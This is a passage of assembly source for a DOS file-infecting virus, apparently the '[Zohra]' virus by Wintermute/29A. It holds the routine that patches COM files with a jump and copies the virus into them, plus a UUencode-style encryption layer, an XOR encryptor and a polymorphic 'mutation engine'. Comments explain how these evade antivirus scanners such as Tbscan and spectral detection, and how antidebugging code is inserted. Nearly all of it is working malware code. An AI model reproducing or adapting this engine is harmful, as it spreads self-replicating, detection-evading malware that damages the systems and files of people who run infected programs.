mov al,byte ptr ds:[header+201h+virus_size]
add al,byte ptr ds:[header+202h+virus_size] ;
cmp al,'M'+'Z' ; Exe header ?
jz vamos_a_cerrar
mov ax,word ptr es:[di+11h] ; File length
push ax
sub ax,3
mov word ptr[salto_com+virus_size+202h],ax ; We prepare
mov word ptr es:[di+15h],0 ;first bytes
lea dx,salto_com+virus_size+201h
mov cx,3 ; And write them
mov ah,40h
div bp
pop ax
mov word ptr es:[di+15h],ax
add ax,300h
mov word ptr ds:[1],ax ; For the poly engine
call copiarse ; Jump to copy it
mov byte ptr ds:[2],02h
vamos_a_cerrar:
jmp fecha ; Go to restore date, close.
thetext: db 'Zohra will live forever ! Necromancy with her...',0
nombre: db '[Zohra] virus by Wintermute/29A, dedicated to the best '
db 'Necromancer of the Forgotten Realms,... I assure you '
db 'will live forever, my love... ;)',0
header: db 0ah dup (?)
minalloc: db 0,0
maxalloc: db 0,0
SS_SP: dw 0,offset virus_end+100h
Checksum: dw 0
CS_IP: dw offset host,0,0,0,0,0
salto_com: db 0e9h,0,0
flag1: db 0
encrypt_end label byte
buffer_uuencode equ ((encriptado/7)-1)
buffer: db buffer_uuencode+1 dup (?)
; *********** ENCRYPTION ***********
copiarse:
call push_all_regs
mov bp,virus_size+201h ; second copy
push cs
pop ds
call rut_encriptado ; UUencode encryptor
call poly_engine ; We make decryptor
push dx
mov ah,40h
mov dx,virus_size+1
mov cx,virus_size+202h
pushf
call dword ptr cs:[int21h] ; Copy the virus
pop dx
call encryptit ; Xor decryption
call rut_desencriptado ; UUencode decryption
call pop_all_regs
ret
; These two routines, rut_encriptado and rut_desencriptado are the first
; encryption of the virus; it's same as UUencode programs use to code ascii
; message. I'll explain:
;
; The virus takes one byte of the zone that's going to be encrypted: saves
; in buffer_uuencode it's most significative bit and changes this bit in the
; encrypted zone to 1 ( with an or 080h ). It does this with seven of them,
; making a rol to the byte which contains the original bits; after that, it
; begins with another seven bytes crunch. So that, engines like Tbscan can
; decrypt the Xor routine, but not this one.
;
; To decrypt, just the opposite; it takes each byte of the buffer ( each
; has seven high bits, beeing it's own most significative bit a 1, to
; keep on the UUencode chain ), and it replaces the original ones in the
; virus.
rut_encriptado:
push bx ; File_handle !
mov cx,buffer_uuencode
lea si,encrypt_start+bp ; 7 bytes
bloque_7:
push cx
xchg bx,cx
add bx,bp
lea di,[buffer+bx] ; Block number plus buffer
mov cx,7 ;address
mov dx,1
sigg:
not cs:byte ptr[si] ; Not the bytes
mov al,byte ptr[si]
or byte ptr[si],080h
and al,080h
rol al,1
shl dx,1
add dl,al
inc si
loop sigg
mov byte ptr [di],dl
pop cx
loop bloque_7
pop bx
ret
; DESENCRIPTACION
rut_desencriptado:
push bx ; Save handle
mov cx,buffer_uuencode
lea si,cs:[encrypt_start+bp]
bloques_de_7:
push cx
xchg bx,cx
mov cx,7
add bx,bp
lea di,[buffer+bx]
mov al,byte ptr[di]
rol al,2
un_bloque:
push ax
and al,1
ror al,1
or al,07fh
and byte ptr [si],al ; If Al is 0, it doesn't touch it
not cs:byte ptr [si]
inc si
pop ax
rol al,1
loop un_bloque
pop cx
loop bloques_de_7
pop bx
ret
;***************
;***************
offset_second equ virus_size+201h
poly_engine:
add dx,word ptr [encryptvalue]+offset_second
mov word ptr [encryptvalue]+offset_second,dx
push offset go_here
encryptit:
mov di,offset_second
mov cx,virus_size/2
enc_loop:
xor [di],dx
inc di
inc di
loop enc_loop
ret
; ***************************************************************************
; THE NECROMANTIC MUTATION ENGINE ( NME )
; ***************************************************************************
; The ants are in the sugar, the muscles atrophied
; Set the decryptor variables ( loop pointer, remaining instructions and
;current instruction )
go_here:
mov word ptr [bytes_referencia],0h
mov word ptr [restantes_poly],200h ; n.instr decryptor
mov byte ptr [numero_instruccion],6h ; n.instr funcionales
; This first part of the poly engine fills the blancks of the six blocks
;( 5 bytes each ) in which the decryptor instructions are divided on with
;random instructions.
push cs cs
pop ds es
mov di,3h
mov cx,3
two_times: call aleatorio
and ah,1
jz two_of_one
call inst_2
jmp next_inst_gen
two_of_one: call inst_1
inc di
call inst_1
next_inst_gen: cmp di,0eh
jnz @di0dh
mov di,017h
jmp @loopt
@di0dh: mov di,0dh
@loopt: loop two_times
mov di,011h
mov cx,2
two_times_otavez:
call aleatorio
and ah,1
jz unod1y1d2
and al,1
jz tresd1
call inst_3
jmp next_one_otave
tresd1:
call inst_1
inc di
call inst_1
inc di
call inst_1
jmp next_one_otave
unod1y1d2: and al,1
jz unod2y1d1
call inst_1
inc di
call inst_2
jmp next_one_otave
unod2y1d1:
call inst_2
inc di
call inst_1
next_one_otave:
mov di,01dh ; The last
call inst_1
lea di,instrucciones
xor si,si
mov cx,instrsize
rep movsb
; This part exchanges 50% times Si and Di registers, which are used in
;the decryptor instructions
call aleatorio
and ah,1
jz sin_cambios_sidi
mov byte ptr [instrucciones+7h],0beh
mov byte ptr [instrucciones+10h],0f5h
mov word ptr [instrucciones+15h],03c31h ; ¨ 313c ?
mov word ptr [instrucciones+19h],04646h
sin_cambios_sidi:
; Depending on a random value, cx is obtained by the normal way ( mov cx, )
; or with a mov dx, register, mov cx,dx
call aleatorio
and ah,1
jz cx_acabado
cbw
and ah,1
jz siguiente_abajo
mov byte ptr [instrucciones+0ah],0bbh
mov word ptr [instrucciones+0dh],0d989h
jmp cx_acabado
siguiente_abajo:
and al,1
jz cx_con_dx
mov byte ptr [instrucciones+0ah],0b8h
mov word ptr [instrucciones+0dh],0c189h
jmp cx_acabado
cx_con_dx:
mov byte ptr [instrucciones+0ah],0bah
mov word ptr [instrucciones+0dh],0d189h
cx_acabado:
; To finish preparing the decrypting routine, we push the instructions that
;modify si, di and cx in the decryptor, and pop them randomly.
push dx
mov byte ptr [variable_inst],00000111b
mov cx,015d ; Copy the 15 bytes of the
lea si,instrucciones+5 ;instructions to the uuencode
lea di,buffer ;buffer ( unused )
push di
rep movsb
pop si
ver_si_esta_hecho:
mov al,byte ptr [variable_inst]
mov dl,al ; Then, restore them in a
or al,al ;random order
jz acabado_pop_inst
call aleatorio
and ah,1
jz popfirst
and al,1
jz popsecond
and dl,100b ; First instruction ( five
jz ver_si_esta_hecho ;bytes )
and byte ptr [variable_inst],11111011b
lea di,instrucciones+0fh
jmp popfivebytes
popfirst:
and dl,1b ; Second one
jz ver_si_esta_hecho
and byte ptr[variable_inst],011111110b
lea di,instrucciones+0ah
jmp popfivebytes
popsecond:
and dl,10b ; Third
jz ver_si_esta_hecho
and byte ptr[variable_inst],011111101b
lea di,instrucciones+5h
popfivebytes:
mov cx,5d ; Replace
rep movsb
jmp ver_si_esta_hecho
acabado_pop_inst:
pop dx
; The modification of the instructions of the decryptor finishes here with
;all changes made: the originals are kept at the beggining of the virus in
;memory. The posible 'final loop' exchange is made when writing the
;decryptor
; Here begins the main zone of the code generator; where it's decided
;what generator to use and random instructions are copied at the
;decryptor.
mov di,virus_size+1
centro_poly:
mov ax,word ptr [restantes_poly] ; Remaining
mov cx,ax ;instructions
and cx,cx
jnz sigamos_decriptor
jmp acabamos_decryptor ; Checks
sigamos_decriptor:
cmp cx,@getmcb-ant_debug
jae @cont_decrr
cmp byte ptr [numero_instruccion],1
jz @@call_decryptgen
@cont_decrr:
dec cx
jz @@call_inst_1
dec cx
jz @@call_inst_2
dec cx
jz @@call_inst_3
mov cx,55h ; Do we need to put one of the decryptor
div cl ;instructions ?
inc al
cmp byte ptr[numero_instruccion],al
ja @@call_decryptgen
cmp byte ptr[numero_instruccion],1
jnz @continuemos ; To avoid the loop from going
mov ax,di ;out of range
sub ax,word ptr [loop_site]
cmp ax,70h
jae @@call_decryptgen
@continuemos:
call aleatorio
and ah,1
jz @@trestipos
and al,1
jz @@call_inst_4
@@call_inst_1: call inst_1
dec word ptr [restantes_poly]
inc di
jmp centro_poly
@@call_inst_4: call inst_4
add di,4
sub word ptr [restantes_poly],4
jmp centro_poly
@@trestipos: cbw
and ah,1
jz @@inst_2odec
and al,11b
jz @@call_sub
@@call_inst_3: call inst_3
add di,3
sub word ptr[restantes_poly],3
jmp centro_poly
@@inst_2odec: and al,111b ; Low probability
jnz @@call_inst_2
@@call_decryptgen:
call gen_instruction
jmp centro_poly
@@call_inst_2: call inst_2
inc di
sub word ptr[restantes_poly],2
@fix1: jmp centro_poly
@@call_sub: cmp word ptr[restantes_poly],@getmcb-ant_debug
jb @fix1
call inst_5
add di,si
sub word ptr[restantes_poly],si ; Long non fixed size
jmp centro_poly ;routine
acabamos_decryptor:
ret
instrsize equ instr_end-instr_start
instr_start label byte
; Decryptor instructions list; divided into five-bytes blocks.
instrucciones:
mov bp,0200h
db 90h,90h ; variable ( junk gen )
;5
mov si,cs:word ptr [encryptvalue+bp]
;A
mov cx,virus_size/2
db 90h,90h
;F
mov di,bp
db 90h,90h,90h
loop_dec: ;14h
xor word ptr cs:[di],si
db 90h,90h
;19h
inc di
inc di
loop loop_dec
db 90h ;1dh
; db 90h,90h,90h
instr_end label byte
;*******************************************
; Decryptor values
;--------------------
Restantes_poly: dw 200h ; Remaining instructions counter
Numero_instruccion: db 6 ; Instruction number
num_aleat: dw 1250h ; Aleatory number counter
variable_inst: db 7h ; 0111b
loop_site: dw 0h ; Looping allocation Offset
bytes_referencia: dw 0h ; Reference for instructions
; This returns a random number in Ax after making some operations.
aleatorio:
mov ax,word ptr[num_aleat]
call aleat2
aleat2: ror ax,5 ; The seed number is stablished in each
add ax,1531h ;infection by the date, and modified
push cx dx ax ;by the minutes ( but in Al, the last
mov ah,2ch ;used, to contribute to the slow poly )
int 21h ;and hour.
pop ax
add ah,ch
pop dx cx
rol ax,1
neg ax
sub ax,2311h
ror ax,3
not ax
mov word ptr[num_aleat],ax
ret
; Instructions generators: the required instructions are generated and
;copied in es:di, which points to the decryptor in memory
; Main generator: Copies a decryptor instruction in es:di, with special
;care for the final loop
gen_instruction:
mov al,byte ptr [numero_instruccion]
and al,al
jz @vasmosnos
dec al
jz @preparar_loop
dec al
jz @guardar_paraloop
@gen_ya:
dec byte ptr [numero_instruccion]
lea si,instrucciones
add si,word ptr [bytes_referencia]
add word ptr [bytes_referencia],5h
mov cx,5
rep movsb
sub word ptr[restantes_poly],5h
@vasmosnos: ret
@guardar_paraloop:
mov word ptr [loop_site],di
jmp @gen_ya
@preparar_loop:
mov ax,0fch
mov si,di
mov cx,word ptr [loop_site]
sub si,cx
sub ax,si
mov cx,word ptr[num_aleat]
and cl,1
jz @make_a_jnz
mov byte ptr [instrucciones+01ch],al
jmp @gen_ya
@make_a_jnz:
mov word ptr [instrucciones+01bh],7549h
dec ax
mov byte ptr [instrucciones+01dh],al
jmp @gen_ya
; Generator ----> One byte length instructions generator
inst_1:
call aleatorio
and al,3h
jnz @cont_a1
mov byte ptr es:[di],90h
ret
@cont_a1: and ah,1
jz @cont_a2
call aleatorio
and ah,1h
jz @cont_a2_2
and al,1h
jz @cont_a2_1_1
call aleatorio
and al,1h
jz @cont_a2_2_1
mov byte ptr es:[di],42h ; inc dx
ret
@cont_a2_2_1: mov byte ptr es:[di],43h ; inc bx
ret
@cont_a2_1_1: mov byte ptr es:[di],40h ; inc ax
ret
@cont_a2_2: call aleatorio
and al,1h
jnz @cont_a2_2_2
mov byte ptr es:[di],48h ; dec ax
ret
@cont_a2_2_2: and ah,1h
jz @cont_a2_2_2_2
mov byte ptr es:[di],4bh ; dec bx
ret
@cont_a2_2_2_2: and al,1h
mov byte ptr es:[di],4ah ; dec dx
ret
@cont_a2: call aleatorio
and al,3h
jz @cont_a2_11
and ah,3h
jz @cont_a2_12
call aleatorio
and al,3h
jz @cont_a2_2_11
and ah,3h
jz @cont_a2_2_12
call aleatorio
and al,1
jz @cont_a2_2_13
mov byte ptr es:[di],0cch ; int 3h
ret
@cont_a2_2_11: mov byte ptr es:[di],9fh ; lahf
ret
@cont_a2_2_12: mov byte ptr es:[di],99h ; cwd
ret
@cont_a2_2_13: mov byte ptr es:[di],98h ; cbw
ret
@cont_a2_11: mov byte ptr es:[di],0F9h ; stc
ret
@cont_a2_12: mov byte ptr es:[di],0F8h ; clc
ret
; Generator ----> Two bytes length instructions
inst_2:
call aleatorio
and ah,1h
jz @cont_sub
cbw
and ah,1h
jz sigunvm
jmp @cont_xor
sigunvm:
jmp @cont_mul
@cont_sub:
mov byte ptr es:[di],2bh
inc di
cbw
and al,1
jz @cont_bsub_ax
and ah,1
jz @cont_bsub_dx
call aleatorio
and ah,1
jz @cont_bsub_bx_dxdisi
and al,1
jz @cont_bsub_bx_cx
mov byte ptr es:[di],0d8h ; sub bx,ax
ret
@cont_bsub_bx_cx:
mov byte ptr es:[di],0d9h ; sub bx,cx
ret
@cont_bsub_bx_dxdisi:
cbw
and ah,1
jz @cont_bsub_bx_dx
and al,1
jz @cont_bsub_bx_di
mov byte ptr es:[di],0deh ; sub bx,si
ret
@cont_bsub_bx_di:
mov byte ptr es:[di],0dfh ; sub bx,di
ret
@cont_bsub_bx_dx:
mov byte ptr es:[di],0dah ; sub bx,dx
ret
@cont_bsub_ax:
call aleatorio
and ah,1
jz @cont_bsub_ax_dxdisi
and al,1
jz @cont_bsub_ax_cx
mov byte ptr es:[di],0c3h ; sub ax,bx
ret
@cont_bsub_ax_cx:
mov byte ptr es:[di],0c1h ; sub ax,cx
ret
@cont_bsub_ax_dxdisi:
cbw
and ah,1
jz @cont_bsub_ax_dx
and al,1
jz @cont_bsub_ax_di
mov byte ptr es:[di],0c6h ; sub ax,si
ret
@cont_bsub_ax_di:
mov byte ptr es:[di],0c7h ; sub ax,di
ret
@cont_bsub_ax_dx:
mov byte ptr es:[di],0c2h ; sub ax,dx
ret
@cont_bsub_dx:
call aleatorio
and ah,1
jz @cont_bsub_dx_sidicx
and al,1
jz @cont_bsub_dx_bx
mov byte ptr es:[di],0d0h ; sub dx,ax
ret
@cont_bsub_dx_bx:
mov byte ptr es:[di],0d3h ; sub dx,bx
ret
@cont_bsub_dx_sidicx:
cbw
and ah,1
jz @cont_bsub_dx_cx
and al,1
jz @cont_bsub_dx_di
mov byte ptr es:[di],0d6h ; sub dx,si
ret
@cont_bsub_dx_di:
mov byte ptr es:[di],0d7h ; sub dx,di
ret
@cont_bsub_dx_cx:
mov byte ptr es:[di],0d1h ; sub dx,cx
ret
@cont_xor:
mov byte ptr es:[di],033h
inc di
call aleatorio
and ah,1
jz @cont_xor_4last
cbw
and ah,1
jz @cont_xor_34
and al,1
jz @cont_xor_2
mov byte ptr es:[di],0c0h ; xor ax,ax
ret
@cont_xor_2:
mov byte ptr es:[di],0c3h ; xor ax,bx
ret
@cont_xor_34:
and al,1
jz @cont_xor_4
mov byte ptr es:[di],0c2h ; xor ax,dx
ret
@cont_xor_4:
mov byte ptr es:[di],0dbh ; xor bx,bx
ret
@cont_xor_4last:
cbw
and ah,1
jz @cont_xor_78
and al,1
jz @cont_xor_6
mov byte ptr es:[di],0d8h ; xor bx,ax
ret
@cont_xor_6:
mov byte ptr es:[di],0dah ; xor bx,dx
ret
@cont_xor_78:
and al,1
jz @cont_xor_8
mov byte ptr es:[di],0d2h ; xor dx,dx
ret
@cont_xor_8:
mov byte ptr es:[di],0d0h ; xor dx,ax
ret
@cont_mul:
mov byte ptr es:[di],0f7h
inc di
call aleatorio
and ah,1
jz @cont_divmul_34
and al,1
jz @cont_divmul_2
mov byte ptr es:[di],0e3h ; mul bx
ret
@cont_divmul_2:
mov byte ptr es:[di],0e1h ; mul cx
ret
@cont_divmul_34:
and al,1
jz @cont_divmul_4
mov byte ptr es:[di],0e6h ; mul si
ret
@cont_divmul_4:
mov byte ptr es:[di],0e7h ; mul di
ret
; Generator ----> Three bytes long instructions
inst_3:
call aleatorio
mov si,ax
inc si ; We don't want a 0ffffh
jz inst_3
dec si
and ah,1
jz @add_or_sub_ax
and al,1
jz @mov_dx_inm
mov byte ptr es:[di],0bbh ; mov bx,reg
mov word ptr es:[di+1],si
ret
@mov_dx_inm: mov byte ptr es:[di],0bah ; mov dx,reg
mov word ptr es:[di+1],si
ret
@add_or_sub_ax: and al,1
jz @mov_mem_ax
mov byte ptr es:[di],05h ; add ax,reg
mov word ptr es:[di+1],si
ret
@mov_mem_ax: mov byte ptr es:[di],0a1h ; mov ax,mem
mov word ptr es:[di+1],si
ret
; Generator ----> Four bytes instructions
inst_4: call aleatorio
mov si,ax
inc si
jz inst_4
dec si
and ah,1
jz @q_seg_parte
cbw
and ah,1
jz @q_movdxobx
and al,1
jz @q_subbxfuck
mov word ptr es:[di],019b4h ; Get drive function
mov word ptr es:[di+2],021cdh
ret
@q_subbxfuck: mov word ptr es:[di],0eb81h
mov word ptr es:[di+2],si
ret
@q_movdxobx: and al,1
jz @q_movdx_mem
mov word ptr es:[di],01e8bh
mov word ptr es:[di+2],si
ret
@q_movdx_mem: mov word ptr es:[di],0168bh
mov word ptr es:[di+2],si
ret
@q_seg_parte: cbw
and ah,1
jz @q_seg_sub
mov word ptr es:[di],0c281h
mov word ptr es:[di+2],si
and al,1
jz @nosvamos_4
inc byte ptr es:[di+1]
@nosvamos_4: ret
@q_seg_sub: mov word ptr es:[di],0ea81h
mov word ptr es:[di+2],si
and al,1
jz @nosvamos_41
inc word ptr es:[di+1]
@nosvamos_41: ret
; Generator ----> More than 4 bytes routines
inst_5: call aleatorio ; Anti-spectral routine,
and ah,1 ;generates a random value
jz @c_seg_parte ;after a cmp ax,ax/jz xxx
and al,1 ;that will never be executed:
jz @c_seg_prim ;'spectral' is a way of
mov word ptr es:[di],0c033h ;finding polymorphic viruses
mov word ptr es:[di+2],0274h;that checks for instructions
call aleatorio ;that aren't in the poly
mov word ptr es:[di+4],ax ;engine; if the instructions
mov si,06h ;are all of a fixed range,
ret ;the spectral identifies the
;poly engine.
@c_seg_prim:
mov word ptr es:[di],0f7fah ; Antidebugging routine
mov word ptr es:[di+2],0f7dch ;( cli, neg sp, neg sp,
mov word ptr es:[di+4],0fbdch ; sti )
mov si,06h
ret
@c_seg_parte: and al,1
jz @c_seg_seg ; Anti-spectral
mov word ptr es:[di],0ffb8h ; mov ax,0ffffh
mov word ptr es:[di+2],040ffh ; inc ax
mov word ptr es:[di+4],0274h ; jz seguimos
call aleatorio ; ( 2 crap bytes )
mov word ptr es:[di+6],ax
mov si,08h
ret
@c_seg_seg:
lea si,ant_debug ; Antidebugging, the routine
mov cx,@getmcb-ant_debug ;placed near the beggining
push cx ;of Zohra
rep movsb
pop si
sub di,si
ret
Int24h: mov al,3
iret
Salto_a_int21h:
db 0eah
int21h: dw 0,0
rutinadiv: ; The virus jumps here when a div bp is used
pushf ;at the infection zone
call dword ptr cs:[int21h]
mov bp,sp
add word ptr ss:[bp],2
xor bp,bp
iret
virus_end label byte
encryptvalue: dw 0 ; Valor de encriptaci¢n
; This is to start deencrypting only from the first infection: this part
;doesn't get copied with the virus
fuera_desencriptado:
xor bp,bp
mov word ptr cs:[encrypt_start-2+bp],rut_desencriptado-encrypt_start
ret
CODIGO ENDS
END Comienzo
; This Is Your World In Which We Grow, And We Will Grow To Hate You